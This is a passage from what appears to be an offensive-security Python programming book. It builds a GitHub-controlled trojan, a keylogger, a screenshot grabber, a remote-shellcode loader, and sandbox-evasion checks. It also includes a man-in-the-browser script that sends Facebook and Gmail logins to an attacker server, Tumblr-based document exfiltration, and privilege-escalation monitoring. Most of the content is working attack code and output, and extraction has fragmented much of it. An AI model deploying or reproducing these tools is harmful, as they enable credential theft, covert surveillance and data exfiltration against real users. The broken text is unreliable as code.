checking to make sure we’re only trying to process text-based responses ➌
...
We use a regular expression to find all words
starting with an alphabetic character followed by two or more “word” characters ➎
...

Now let’s round out the script by giving it the ability to mangle and display the captured wordlist
...
now()
...
capitalize()):
for suffix in suffixes:
mangled
...
join(self
...
wordlist):
for password in self
...
” In this simple example, we create a list of
suffixes to tack on the end of the base word, including the current year ➊
...
We do another loop with a
capitalized version of the base word for good measure
...

Then we mangle each base word and print the results
...


Kicking the Tires
Click the Extender tab in Burp, click the Add button, and use the same procedure we used for our
previous extensions to get the Wordlist extension working
...
vulnweb
...

Right-click the site in the Site Map pane and select Spider this host, as shown in Figure 6-12
...
Spidering a host with Burp

After Burp has visited all the links on the target site, select all the requests in the top-right pane, rightclick them to bring up the context menu, and select Create Wordlist, as shown in Figure 6-13
...
Sending the requests to the BHP Wordlist extension

Now check the output tab of the extension
...

You can now feed this list back into Burp Intruder to perform the actual password-guessing attack
...
A password list based on content from the target website

We have now demonstrated a small subset of the Burp API, including being able to generate our own
attack payloads as well as building extensions that interact with the Burp UI
...

In this chapter, we showed you how to build an excellent reconnaissance tool to add to your Burp tool
belt
...
This will require doing a
bit of reading about the Bing API and writing some code to handle the larger results set
...
bing
...


Chapter 7
...
It’s crucial to have a relatively
universal way to push code to your remote trojans
...

So while hackers have had lots of creative means of command and control over the years, such as
IRC or even Twitter, we’ll try a service actually designed for code
...
We’ll also explore how to hack Python’s native library import
mechanism so that as you create new trojan modules, your implants can automatically attempt to
retrieve them and any dependent libraries directly from your repo, too
...

One thing to note is that we’ll use a public repo to perform this testing; if you’d like to spend the
money, you can get a private repo so that prying eyes can’t see what you’re doing
...
Let’s get started!

Setting Up a GitHub Account
If you don’t have a GitHub account, then head over to GitHub
...
Next, you’ll want to install the Python GitHub API library[14] so that you
can automate your interaction with your repo
...
py

If you haven’t done so already, install the git client
...
Now let’s create a basic structure for our repo
...
gitignore
touch config/
...
gitignore
git add
...
"
git remote add origin https://github
...
git
git push origin master

Here, we’ve created the initial structure for our repo
...
As you deploy trojans, you want each one to perform
different tasks and each trojan will check out its unique configuration file
...
We will implement a
special import hack to allow our trojan to import libraries directly from our GitHub repo
...

The data directory is where the trojan will check in any collected data, keystrokes, screenshots, and
so forth
...


Creating Modules
In later chapters, you will do nasty business with your trojans, such as logging keystrokes and taking
screenshots
...
Open a
new file in the modules directory, name it dirlister
...
"
files = os
...
")
return str(files)

This little snippet of code simply exposes a run function that lists all of the files in the current
directory and returns that list as a string
...
This enables you to load each module the same way and
leaves enough extensibility so that you can customize the configuration files to pass arguments to the
module if you desire
...
py
...
"
return str(os
...
Now let’s push this code to our GitHub repo so that it is useable by our trojan
...

$ git commit -m "Adding new modules"
$ git push origin master
Username: ********
Password: ********

You should then see your code getting pushed to your GitHub repo; feel free to log in to your account
and double-check! This is exactly how you can continue to develop code in the future
...
Should you have a hundred
deployed trojans, you can push new modules to your GitHub repo and QA them by enabling your new
module in a configuration file for your local version of the trojan
...


Trojan Configuration
We want to be able to task our trojan with performing certain actions over a period of time
...
Using a configuration file gives us that level of control, and it also enables
us to effectively put a trojan to sleep (by not giving it any tasks) should we choose to
...
We’ll configure the trojan to look in the config
directory for TROJANID
...
The JSON format makes it easy to change configuration
options as well
...
json with the following
content:
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]

This is just a simple list of modules that we want the remote trojan to run
...
As you
brainstorm module ideas, you may find that it’s useful to include additional configuration options such
as execution duration, number of times to run the selected module, or arguments to be passed to the
module
...

$ git add
...
"
$ git push origin master
Username: ********
Password: ********

This configuration document is quite simple
...
As you build up your framework, you can add additional functionality in
these configuration options, including methods of exfiltration, as I show you in Chapter 9
...


Building a Github-Aware Trojan
Now we’re going to create the main trojan that will suck down configuration options and code to run
from GitHub
...
Let’s start by opening a new file called git_trojan
...
json" % trojan_id
"data/%s/" % trojan_id
[]
False
Queue
...
I say relatively because most compiled Python binaries using
py2exe[15] are around 7MB
...
If you were to explode this technique out to a full botnet, you’d want the
capability to generate trojans, set their ID, automatically create a configuration file that’s pushed to
GitHub, and then compile the trojan into an executable
...

Now let’s put the relevant GitHub code in place
...
repository("yourusername","chapter7")
branch = repo
...
commit
...
tree
...
tree:
if filepath in filename
...
blob(filename
...
content
return None
def get_trojan_config():
global configured
config_json
= get_file_contents(trojan_config)
config
= json
...
b64decode(config_json))
configured
= True

for task in config:
if task['module'] not in sys
...
data" % (trojan_id,random
...
create_file(remote_path,"Commit message",base64
...
The
connect_to_github function simply authenticates the user to the repository, and retrieves the current
repo and branch objects for use by other functions
...
You might also want to think about
what each trojan can access in your repository based on access controls so that if your trojan is
caught, someone can’t come along and delete all of your retrieved data
...
This is used both for reading configuration options as well as reading module source code
...
And the final function
store_module_result is used to push any data that you’ve collected on the target machine
...


Hacking Python’s import Functionality
If you’ve made it this far in the book, you know that we use Python’s import functionality to pull in
external libraries so that we can use the code contained within
...
Python allows us to insert our own functionality into how it imports modules, such that if a module
cannot be found locally, our import class will be called, which will allow us to remotely retrieve the
library from our repo
...
meta_path list
...
current_module_code = ""



def find_module(self,fullname,path=None):
if configured:
print "[*] Attempting to retrieve %s" % fullname
new_library = get_file_contents("modules/%s" % fullname)
if new_library is not None:
self
...
b64decode(new_library)
return self



return None
def load_module(self,name):




module = imp
...
current_module_code in module
...
modules[name] = module
return module

Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is
used
...
We pass this call to
our remote file loader ➊ and if we can locate the file in our repo, we base64-decode the code and
store it in our class ➋
...
We use the native imp
module to first create a new blank module object ➌ and then we shovel the code we retrieved from
GitHub into it ➍
...
modules list ➎ so
that it’s picked up by any future import calls
...

def module_runner(module):



task_queue
...
modules[module]
...
get()



# store the result in our repo
store_module_result(result)
return

# main trojan loop
➌ sys
...
empty():




config

= get_trojan_config()

for task in config:
t = threading
...
start()
time
...
randint(1,10))
time
...
randint(1000,10000))

We first make sure to add our custom module importer ➌ before we begin the main loop of our
application
...
While we’re in the module_runner function, we simply call the
module’s run function ➊ to kick off its code
...
The end of our trojan will then sleep for a random amount of
time in an attempt to foil any network pattern analysis
...
com or any number of other things in an attempt to disguise what your trojan is up to
...

WA R N I N G
If you have sensitive information in files or environment variables, remember that without a private repository, that
information is going to go up to GitHub for the whole world to see
...

$ python git_trojan
...
json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module
...
It connected to my repository, retrieved the configuration file, pulled in the two modules we
set in the configuration file, and ran them
...
com/blackhatpythonbook/chapter7
* branch
master
-> FETCH_HEAD
Updating f4d9c1d
...
data | 1 +
data/abc/44763
...
data
create mode 100644 data/abc/44763
...

There are a number of improvements and enhancements that you can make to this core command-andcontrol technique
...
Automating the backend management of pull-down data, updating configuration files, and rolling
out new trojans would also be required if you were going to infect on a massive scale
...
For now, let’s work on creating some standalone trojan tasks, and I’ll leave it to you to
integrate them into your new GitHub trojan
...
com/copitux/python-github3/
...
py2exe
...

[16] An awesome explanation of this process written by Karol Kuczmarski can be found here: http://xion
...
pl/2012/05/06/hackingpython-imports/
...
Common Trojaning Tasks on
Windows
When you deploy a trojan, you want to perform a few common tasks: grab keystrokes, take
screenshots, and execute shellcode to provide an interactive session to tools like CANV or
AS
Metasploit
...
We’ll wrap things up with some sandbox detection
techniques to determine if we are running within an antivirus or forensics sandbox
...
In later chapters, we’ll explore
man-in-the-browser-style attacks and privilege escalation techniques that you can deploy with your
trojan
...
I recommend that you carefully model your target after you’ve implanted your
trojan so that you can test the modules in your lab before trying them on a live target
...


Keylogging for Fun and Keystrokes
Keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth
today
...

An excellent Python library named PyHook[17] enables us to easily trap all keyboard events
...
By registering a hook for keyboard events,
we are able to trap all of the keypresses that a target issues
...
PyHook takes care of all of the lowlevel programming for us, which leaves the core logic of the keystroke logger up to us
...
py and drop in some of the plumbing:
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32
= windll
...
kernel32
psapi
= windll
...
GetForegroundWindow()



# find the process ID
pid = c_ulong(0)
user32
...
value








# grab the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32
...
GetModuleBaseNameA(h_process,None,byref(executable),512)
# now read its title
window_title = create_string_buffer("\x00" * 512)
length = user32
...
value, window_
...
value)
print

# close handles
kernel32
...
CloseHandle(h_process)

All right! So we just put in some helper variables and a function that will capture the active window
and its associated process ID
...
Next we pass that handle to the GetWindowThreadProcessId

➋ function to retrieve the window’s process ID
...
The final step is to grab the full
text of the window’s title bar using the GetWindowTextA ➎ function
...
Now let’s put the meat of our keystroke logger in
place to finish it off
...
WindowName != current_window:
current_window = event
...
Ascii > 32 and event
...
Ascii),
else:
# if [Ctrl-V], get the value on the clipboard
if event
...
OpenClipboard()
pasted_value = win32clipboard
...
CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event
...
HookManager()
➎ kl
...
HookKeyboard()
pythoncom
...
We then instruct PyHook to hook all keypresses ➏ and
continue execution
...
The first thing we do is check if the user has
changed windows ➊ and if so, we acquire the new window’s name and process information
...
If it’s a modifier (such as the SHIFT, CTRL, or ALT keys) or any other nonstandard key, we
grab the key name from the event object
...
The callback function wraps up by returning True to
allow the next hook in the chain — if there is one — to process the event
...
Simply run it, and then start using Windows normally
...
The output
below is going to look a little off, which is only due to the formatting in the book
...
py
[ PID: 3836 - cmd
...
exe c:\Python27\python
...
py ]
t e s t
[ PID: 120 - IEXPLORE
...
n o s t a r c h
...
exe - C:\WINDOWS\system32\cmd
...
exe keylogger-hook
...
EXE - Run ]
c a l c [Return]
[ PID: 2848 - calc
...
I then
fired up Internet Explorer, browsed to www
...
com, and ran some other applications
...


Taking Screenshots
Most pieces of malware and penetration testing frameworks include the capability to take screenshots
against the remote target
...
Thankfully, we can use the PyWin32 package (see
Installing the Prerequisites) to make native calls to the Windows API to grab them
...
Some screenshot software will only
grab a picture of the currently active window or application, but in our case we want the entire
screen
...
Crack open screenshotter
...
GetDesktopWindow()
# determine the size of all monitors in pixels
➋ width = win32api
...
SM_CXVIRTUALSCREEN)
height = win32api
...
SM_CYVIRTUALSCREEN)
left = win32api
...
SM_XVIRTUALSCREEN)
top = win32api
...
SM_YVIRTUALSCREEN)
# create a device context
➌ desktop_dc = win32gui
...
CreateDCFromHandle(desktop_dc)
# create a memory based device context
➍ mem_dc = img_dc
...
CreateBitmap()
screenshot
...
SelectObject(screenshot)
# copy the screen into our memory device context
➏ mem_dc
...
SRCCOPY)
➐ # save the bitmap to a file
screenshot
...
bmp')
# free our objects
mem_dc
...
DeleteObject(screenshot
...
First we acquire a handle to the entire desktop ➊, which
includes the entire viewable area across multiple monitors
...
We create a device
context[18] using the GetWindowDC ➌ function call and pass in a handle to our desktop
...
We then create a bitmap object ➎ that is set to the device context of our
desktop
...
We use the BitBlt ➏ function to take a bit-for-bit copy of the desktop
image and store it in the memory-based context
...
The
final step is to dump this image to disk ➐
...
bmp file
...


Pythonic Shellcode Execution
There might come a time when you want to be able to interact with one of your target machines, or use
a juicy new exploit module from your favorite penetration testing or exploit framework
...
In order to execute raw
shellcode, we simply need to create a buffer in memory, and using the ctypes module, create a
function pointer to that memory and call the function
...
Let’s get started! Open up
shell_exec
...
bin"
➊ response = urllib2
...
b64decode(response
...
create_string_buffer(shellcode, len(shellcode))
# create a function pointer to our shellcode
➌ shellcode_func = ctypes
...
CFUNCTYPE
(ctypes
...
We then allocate a buffer ➋ to hold the shellcode after we’ve decoded it
...
We finish it up by calling our function pointer, which
then causes the shellcode to execute ➍
...
I picked some Windows x86 callback shellcode for CANV
Metasploit
AS in
my case
...
raw on your Linux machine
and run the following:
justin$ base64 -i shellcode
...
bin
justin$ python -m SimpleHTTPServer
Serving HTTP on 0
...
0
...


We simply base64-encoded the shellcode using the standard Linux command line
...
Any requests for files will be served automatically for you
...
py
script in your Windows VM and execute it
...
168
...
130 - - [12/Jan/2014 21:36:30] "GET /shellcode
...
1" 200 -

This indicates that your script has retrieved the shellcode from the simple web server that you set up
using the SimpleHTTPServer module
...
exe, or displayed a message box or whatever your shellcode was compiled for
...
Whether this sandbox runs on the network perimeter, which is becoming more
popular, or on the target machine itself, we must do our best to avoid tipping our hand to any defense
in place on the target’s network
...
We’ll monitor our target machine for recent user input, including
keystrokes and mouse-clicks
...
Our
script will also try to determine if the sandbox operator is sending input repeatedly (i
...
, a suspicious
rapid succession of continuous mouse-clicks) in order to try to respond to rudimentary sandbox
detection methods
...
A typical machine has many interactions at some point during a day since it has been booted,
whereas a sandbox environment usually has no user interaction because sandboxes are typically used
as an automated malware analysis technique
...
Let’s
start working on some sandbox detection code
...
py and throw in the following
code:
import
import
import
import

ctypes
random
time
sys

user32
= ctypes
...
user32
kernel32 = ctypes
...
kernel32
keystrokes
mouse_clicks
double_clicks

= 0
= 0
= 0

These are the main variables where we are going to track the total number of mouse-clicks, doubleclicks, and keystrokes
...
Now let’s create
and test some code for detecting how long the system has been running and how long since the last
user input
...
py script:
class LASTINPUTINFO(ctypes
...
c_uint),
("dwTime", ctypes
...
cbSize = ctypes
...
GetLastInputInfo(ctypes
...
GetTickCount()
elapsed = run_time - struct_lastinputinfo
...
" %
elapsed

return elapsed
# TEST CODE REMOVE AFTER THIS PARAGRAPH!
➍ while True:
get_last_input()
time
...
Do note that you have to initialize the cbSize ➊ variable to
the size of the structure before making the call
...
dwTime field with the timestamp
...
The last
little snippet of code ➍ is simple test code where you can run the script and then move the mouse, or
hit a key on the keyboard and see this new piece of code in action
...
But first it’s worth noting that the total
running system time and the last detected user input event can also be relevant to your particular
method of implantation
...
This means that
within the last minute or two, you would see user input
...
These judgment calls are all part of having a
good trojan that works consistently
...
You could also,
for example, model a user over time to determine what days and hours they are typically online
...
We’ll use a pure ctypes solution this time as opposed to the PyHook method
...

Let’s get coding:
def get_key_press():
global mouse_clicks
global keystrokes







for i in range(0,0xff):
if user32
...
time()
elif i > 32 and i < 127:
keystrokes += 1
return None

This simple function tells us the number of mouse-clicks, the time of the mouse-clicks, as well as how
many keystrokes the target has issued
...
If the key is detected as being pressed, we check if it is 0x1 ➌, which is the virtual key code for

a left mouse-button click
...
We also check if there are ASCII
keypresses on the keyboard ➍ and if so, we simply increment the total number of keystrokes
detected
...

Add the following code to sandbox_detect
...
randint(10,25)
max_mouse_clicks = random
...
250 # in seconds
None

average_mousetime
max_input_threshold

= 0
= 30000 # in milliseconds

previous_timestamp = None
detection_complete = False


last_input = get_last_input()
# if we hit our threshold let's bail out
if last_input >= max_input_threshold:
sys
...
time()
else:






if double_clicks == max_double_clicks:
if keypress_time - first_double_click <=
...
exit(0)
# we are happy there's enough user input
if keystrokes >= max_keystrokes and double_clicks >= max_
...
Be mindful of the indentation in the code blocks above! We start by defining some variables
➊ to track the timing of mouse-clicks, and some thresholds with regard to how many keystrokes or
mouse-clicks we’re happy with before considering ourselves running outside a sandbox
...

We then retrieve the elapsed time ➋ since some form of user input has been registered on the system,
and if we feel that it’s been too long since we’ve seen input (based on how the infection took place as
mentioned previously), we bail out and the trojan dies
...
After we pass
this initial check, we move on to our primary keystroke and mouse-click detection loop
...
Next we calculate the time elapsed between
mouse-clicks ➍ and then compare it to our threshold ➎ to determine whether it was a double-click
...
For example, it
would be rather odd to see 100 double-clicks in a row during typical computer usage
...
Our
final step is to see if we have made it through all of the checks and reached our maximum number of
clicks, keystrokes, and double-clicks ➑; if so, we break out of our sandbox detection function
...
It might be worthwhile to track typical usage in terms of mouse-clicks, doubleclicks, and keystrokes across a few computers that you own (I mean possess — not ones that you
hacked into!) to see where you feel the happy spot is
...
Using the tools that you
developed in this chapter can act as a base layer of features to roll out in your trojan, and due to the
modularity of our trojaning framework, you can choose to deploy any one of them
...
net/projects/pyhook/
...
microsoft
...
85)
...

[19] As CANVAS is a commercial tool, take a look at this tutorial for generating Metasploit pay-loads here: http://www
...
com/metasploit-unleashed/Generating_Payloads
...
Fun with Internet Explorer
Windows COM automation serves a number of practical uses, from interacting with network-based
services to embedding a Microsoft Excel spreadsheet into your own application
...
Using the native IE automation object, we’ll
create a man-in-the browser-style attack where we can steal credentials from a website while a user
is interacting with it
...
The last step will use Internet Explorer as a means to exfiltrate data from
a target system
...

Internet Explorer, you say? Even though other browsers like Google Chrome and Mozilla Firefox are
more popular these days, most corporate environments still use Internet Explorer as their default
browser
...


Man-in-the-Browser (Kind Of)
Man-in-the-browser (MitB) attacks have been around since the turn of the new millennium
...
Instead of acting in the middle of a
communication, malware installs itself and steals credentials or sensitive information from the
unsuspecting target’s browser
...
As browser developers become wise to these techniques and antivirus
vendors increasingly look for this behavior, we have to get a bit sneakier
...
You can of course extend this logic to change a user’s
password or perform transactions with their logged-in session
...

We’ll begin by creating a simple example that will watch for a user browsing Facebook or Gmail, deauthenticate them, and then modify the login form to send their username and password to an HTTP
server that we control
...

If you’ve ever done any JavaScript development, you’ll notice that the COM model for interacting
with IE is very similar
...
Let’s crack open mitb
...
client
time
urlparse
urllib

➊ data_receiver = "http://localhost:8080/"
➋ target_sites = {}
target_sites["www
...
com"] =
{"logout_url"
: None,
"logout_form"
: "logout_form",
"login_form_index": 0,
"owned"
: False}
target_sites["accounts
...
com"]
=
{"logout_url"
: "https://accounts
...
com/
Logout?hl=en&continue=https://accounts
...
com/
ServiceLogin%3Fservice%3Dmail",
"logout_form"
: None,
"login_form_index" : 0,
"owned"
: False}
# use the same target for multiple Gmail domains
target_sites["www
...
com"] = target_sites["accounts
...
com"]
target_sites["mail
...
com"] = target_sites["accounts
...
com"]
clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
➌ windows = win32com
...
Dispatch(clsid)

These are the makings of our man-(kind-of)-in-the-browser attack
...
This method is
riskier in that a wily user might see the redirect happen, so as a future homework project you could

think of ways of pulling cookies or pushing the stored credentials through the DOM via an image tag
or other means that look less suspicious
...
The dictionary members are as follows: logout_url is a URL we can redirect via a
GET request to force a user to log out; the logout_form is a DOM element that we can submit that
forces the logout; login_form_index is the relative location in the target domain’s DOM that
contains the login form we’ll modify; and the owned flag tells us if we have already captured
credentials from a target site because we don’t want to keep forcing them to log in repeatedly or else
the target might suspect something is up
...

Now that we have the support structure in place, let’s create the main loop of our attack:
while True:


for browser in windows:
url = urlparse
...
LocationUrl)






if url
...
hostname]["owned"]:
continue
# if there is a URL, we can just redirect
if target_sites[url
...
Navigate(target_sites[url
...
Document
...
id == target_sites[url
...
submit()
wait_for_browser(browser)
except:
pass
# now we modify the login form
try:
login_index = target_sites[url
...
quote(browser
...
Document
...
action = "%s%s" % (data_
...
hostname]["owned"] = True
except:
pass
time
...
We start by iterating through all currently running Internet Explorer ➊
objects; this includes active tabs in modern IE
...
The first step is to determine whether
we have executed an attack against this site already ➌; if so, we won’t execute it again
...
)
We then test to see if the target site has a simple logout URL that we can redirect to ➍ and if so, we
force the browser to do so
...
After the user has been
redirected to the login form, we modify the endpoint of the form to post the username and password to
a server that we control ➐, and then wait for the user to perform a login
...

This is so our HTTP server knows what site to redirect the browser to after collecting the credentials
...
Let’s add this functionality now by inserting the following code
above the main loop of our script:
def wait_for_browser(browser):
# wait for the browser to finish loading a page
while browser
...
ReadyState != "complete":
time
...
1)
return

Pretty simple
...
This allows us to carefully time any DOM modifications or parsing
operations
...
Crack open a new file called cred_server
...
SimpleHTTPRequestHandler):
def do_POST(self):

content_length = int(self
...
rfile
...
decode('utf-8')

print creds

site = self
...
send_response(301)

self
...
unquote(site))
self
...
TCPServer(('0
...
0
...
serve_forever()

This simple snippet of code is our specially designed HTTP server
...
When our server receives a request from the target’s browser, we read the
Content-Length header ➊ to determine the size of the request, and then we read in the contents of
the request ➋ and print them out ➌
...
) ➍
and force the target browser to redirect ➎ back to the main page of the target site
...

Let’s take it for a spin
...
py and cred_server
...
You
can test browsing around to various websites first to make sure that you aren’t seeing any odd
behavior, which you shouldn’t
...
In your
cred_server
...
exe cred_server
...
com&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost - - [12/Mar/2014 00:03:50] "POST /www
...
com HTTP/1
...
Of course, you can also perform a test where you have Internet Explorer
running and you’re already logged in to Facebook; then try running your mitb
...
Now that we can nab the user’s credentials in this manner, let’s see how
we can spawn IE to help exfiltrate information from a target network
...
To make use of your access, you want to
be able to exfiltrate documents, spreadsheets, or other bits of data off the target system
...
There might be
local or remote systems (or a combination of both) that work to validate processes opening remote
connections, as well as whether those processes should be able to send information or initiate
connections outside of the internal network
...
exe process,
which is typically trusted and whitelisted, to exfiltrate information out of a network
...

When a document is encountered, the script will encrypt it using public key cryptography
...
com
...
By using a trusted site like Tumblr, we should also be able to
bypass any blacklisting that a firewall or proxy may have, which might otherwise prevent us from just
sending the document to an IP address or web server that we control
...
Open up ie_exfil
...
client
os
fnmatch
time
random
zlib

from Crypto
...
Cipher import PKCS1_OAEP
doc_type
username
password

= "
...
ca"
= "justinBHP2014"

public_key = ""
def wait_for_browser(browser):
# wait for the browser to finish loading a page
while browser
...
ReadyState != "complete":
time
...
1)
return

We are only creating our imports, the document types that we will search for, our Tumblr username
and password, and a placeholder for our public key, which we’ll generate later on
...

def encrypt_string(plaintext):



chunk_size = 256
print "Compressing: %d bytes" % len(plaintext)
plaintext = zlib
...
importKey(public_key)
rsakey = PKCS1_OAEP
...
encrypt(chunk)
offset
+= chunk_size



encrypted = encrypted
...
read()
fd
...
We first call the main workhorse
function encrypt_string ➏, passing in the filename of our target file which will become the title of
our blog post on Tumblr
...
We then begin looping through the file contents ➌ and encrypting it in 256-byte chunks, which is
the maximum size for RSA encryption using PyCrypto
...
After we build our entire ciphertext string, we base64-encode it ➎
before returning it
...

Now that we have our encryption routines set up, let’s begin adding in the logic to deal with logging
in and navigating the Tumblr dashboard
...

It is also worth noting that through Tumblr’s settings page, I turned the editing mode to plaintext,
which disables their pesky JavaScript-based editor
...
Let’s add some more code!
➊ def random_sleep():
time
...
randint(5,10))
return
def login_to_tumblr(ie):



# retrieve all elements in the document
full_doc = ie
...
all
# iterate looking for the login form



for i in full_doc:
if i
...
setAttribute("value",username)
elif i
...
setAttribute("value",password)
random_sleep()



# you can be presented with different home pages
if ie
...
forms[0]
...
Document
...
submit()
else:
ie
...
forms[1]
...
It also makes the browser appear to be a bit more human
...
Tumblr can present a slightly different login screen with each visit, so the next bit of code
➍ simply tries to find the login form and submit it accordingly
...
Let’s add that code
now
...
Document
...
id == "post_one":
i
...
focus()
elif i
...
setAttribute("innerHTML",post)
print "Set text area"
i
...
id == "create_post":
print "Found post button"
post_form = i
i
...
focus()
random_sleep()
# post the form
post_form
...
click()
wait_for_browser(ie)
random_sleep()
return

None of this code should look very new at this point
...
The post_to_tumblr function only receives an
instance of the browser and the encrypted filename and file contents to post
...
These subtle little tricks are
important to jot down as you apply this technique to other sites
...

def exfiltrate(document_path):



ie = win32com
...
Dispatch("InternetExplorer
...
Visible = 1
# head to tumblr and login
ie
...
tumblr
...
"
login_to_tumblr(ie)
print "Logged in
...
Navigate("https://www
...
com/new/text")
wait_for_browser(ie)
# encrypt the file
title,body = encrypt_post(document_path)
print "Creating new post
...
Quit()
ie = None
return

# main loop for document discovery
# NOTE: no tab for first line of code below
➍ for parent, directories, filenames in os
...
filter(filenames,"*%s" % doc_type):
document_path = os
...
join(parent,filename)
print "Found: %s" % document_path
exfiltrate(document_path)
raw_input("Continue?")

Our exfiltrate function is what we will call for every document that we want to store on Tumblr
...
For debugging, leave it set to 1, but for maximum stealth
you definitely want to set it to 0
...
After we call all of our helper functions, we simply kill our IE
instance ➌ and return
...
doc in this case)
...

Now that we have our main code ready to go, we need to create a quick and dirty RSA key generation
script, as well as a decryption script that we can use to paste in a chunk of encrypted Tumblr text and
retrieve the plaintext
...
py and entering the following code:
from Crypto
...
generate(2048, e=65537)

public_key = new_key
...
exportKey("PEM")
private_key = new_key
...
This block of code
outputs both a private and public key pair
...
py script
...
py and enter the following code (paste the private key into the
private_key variable):
import zlib
import base64
from Crypto
...
Cipher import PKCS1_OAEP
private_key = "###PASTE PRIVATE KEY HERE###"
➊ rsakey = RSA
...
new(rsakey)
chunk_size= 256
offset = 0
decrypted = ""
➋ encrypted = base64
...
decrypt(encrypted[offset:offset+chunk_size])
offset += chunk_size

# now we decompress to original
➍ plaintext = zlib
...
Much like our encoding loop, we simply grab 256byte chunks ➌ and decrypt them, slowly building up our original plaintext string
...


Kicking the Tires
There are a lot of moving parts to this piece of code, but it is quite easy to use
...
py script from a Windows host and wait for it to indicate that it has successfully posted to
Tumblr
...

After it’s complete, you should be able to browse to your Tumblr page and see something like
Figure 9-1
...
Our encrypted filename

As you can see, there is a big encrypted blob, which is the name of our file
...
If you copy and paste the title into
your decryptor
...
py
C:\Program Files\Debugging Tools for Windows (x86)\dml
...
py script picked up a document from the Windows Debugging Tools directory,
uploaded the contents to Tumblr, and I can successfully decrypt the file name
...
The other

thing to consider is that in our ie_exfil
...
Another idea for extending the project is to encrypt a length
field at the beginning of the blog post contents that tells you the original size of the document before
you padded it
...

[20] The Python package PyCrypto can be installed from http://www
...
org
...
shtml#pycrypto/
...
Windows Privilege Escalation
So you’ve popped a box inside a nice juicy Windows network
...
It’s time to start looking for ways to escalate
privileges
...
It can also be important to have a
catalog of privilege escalations in your back pocket, as some enterprises run software that may be
difficult to analyze in your own environment, and you may not run into that software until you’re in an
enterprise of the same size or composition
...
We’re going to explore some other
means of acquiring elevated privileges on Windows
...
Vendors, too, often
have automated, built-in tasks that behave the same way
...

There are countless ways for you to try to escalate privileges on Windows, and we are only going to
cover a few
...

We’ll start by learning how to apply Windows WMI programming to create a flexible interface that
monitors the creation of new processes
...
Our process monitoring then hands off all file paths to a
file-monitoring script that continuously keeps track of any new files created and what is written to
them
...

The final step is to intercept the file-creation process so that we can inject scripting code and have
the high-privilege process execute a command shell
...


Installing the Prerequisites
We need to install a few libraries in order to write the tooling in this chapter
...
If not, refer
to Chapter 1 for instructions on installing easy_install
...
exe shell on your Windows VM:
C:\> easy_install pywin32 wmi

If for some reason this installation method does not work for you, download the PyWin32 installer
directly from http://sourceforge
...

Next, you’ll want to install the example service that my tech reviewers Dan Frisch and Cliff Janzen
wrote for me
...

1
...
nostarch
...
zip
...
Install the service using the provided batch script, install_service
...
Make sure you are
running as Administrator when doing so
...
immunityinc
...
The tool is designed to
be used by people on the defense side of security to track process creation and the installation of
malware
...

This would give us insight into potentially insecure file handling or child process creation
...

The major drawback of the original El Jefe is that it used a DLL that was injected into every process
to intercept calls to all forms of the native CreateProcess function
...
The problem with this is that most antivirus software also hooks the CreateProcess
calls, so either they view you as malware or you have system instability issues when El Jefe runs
side-by-side with antivirus software
...
This
should make our monitoring portable and give us the ability to run with antivirus software activated
without issue
...
We’re going to leverage this interface to receive a
callback every time a process is created
...
This will show us any processes that are created by higher-privilege accounts, and
in particular, any processes that are calling external files such as VBScript or batch scripts
...

In certain rare cases, you’ll find processes that are created as a regular user but which have been
granted additional Windows privileges that you can leverage
...
Note that in order to capture
information about high-privilege processes created by SYSTEM, for example, you’ll need to run your
monitoring script as an Administrator
...
py:
import win32con
import win32api
import win32security
import wmi
import sys
import os
def log_to_file(message):
fd = open("process_monitor_log
...
write("%s\r\n" % message)
fd
...
WMI()
# create our process monitor
➋ process_watcher = c
...
watch_for("creation")

while True:
try:



new_process = process_watcher()
proc_owner
proc_owner
create_date
executable
cmdline
pid
parent_pid

= new_process
...
CreationDate
= new_process
...
CommandLine
= new_process
...
ParentProcessId

privileges = "N/A"
process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date,

proc_owner, executable, cmdline, pid, parent_pid, privileges)
print process_log_message
log_to_file(process_log_message)
except:
pass

We start by instantiating the WMI class ➊ and then telling it to watch for the process creation event

...
If you decide that you’d like to closely monitor process events, you can use the
operation and it will notify you of every single event a process goes through
...
The new process event
is a WMI class called Win32_Process[22] that contains all of the relevant information that we are
after
...


Kicking the Tires
Let’s fire up our process monitoring script and then create some processes to see what the output
looks like
...
py
20130907115227
...
exe,"C:\WINDOWS\system32\notepad
...
095300-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
calc
...
exe" ,2920,508,N/A

After running the script, I ran notepad
...
exe
...
exe in my VM
...
You might also spot
malware if you’re (un)lucky
...
Now that we have basic process
monitoring in place, let’s fill out the privileges field in our logging and learn a little bit about how
Windows privileges work and why they’re important
...
”[23] How a token is initialized and which permissions and privileges are set on a token
determine which tasks that process or thread can perform
...
The developer uses the
native Windows API function AdjustTokenPrivileges on the process and innocently enough grants
the system tray application the SeLoadDriver privilege
...

Bear in mind, if you can’t run your process monitor as SYSTEM or an administrative user, then you
need to keep an eye on what processes you are able to monitor, and see if there are any additional
privileges you can leverage
...
Interesting privileges that I always look out for are
listed in Table 10-1
...
[24]
Table 10-1
...


SeDebugPrivilege

This enables the user process to debug other processes
...


SeLoadDriver

This enables a user process to load or unload drivers
...

We’ll make use of the win32security, win32api, and win32con modules
...
Add the following code to
process_monitor
...
OpenProcess(win32con
...
OpenProcessToken(hproc,win32con
...
GetTokenInformation(htok, win32security
...

LookupPrivilegeName(None,i[0])
except:
priv_list = "N/A"
return priv_list

We use the process ID to obtain a handle to the target process ➊
...
By sending the
win32security
...
The function call returns a list of tuples, where the first
member of the tuple is the privilege and the second member describes whether the privilege is
enabled or not
...

Next we’ll modify our existing code so that we’re properly outputting and logging this information
...
py script and
check the output
...
exe process_monitor
...
055054-300,JUSTIN-V2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad
...
exe" ,660,508,SeChangeNotifyPrivilege
|SeImpersonatePrivilege|SeCreateGlobalPrivilege|
20130907233515
...
exe,"C:\WINDOWS\system32\calc
...
We could easily
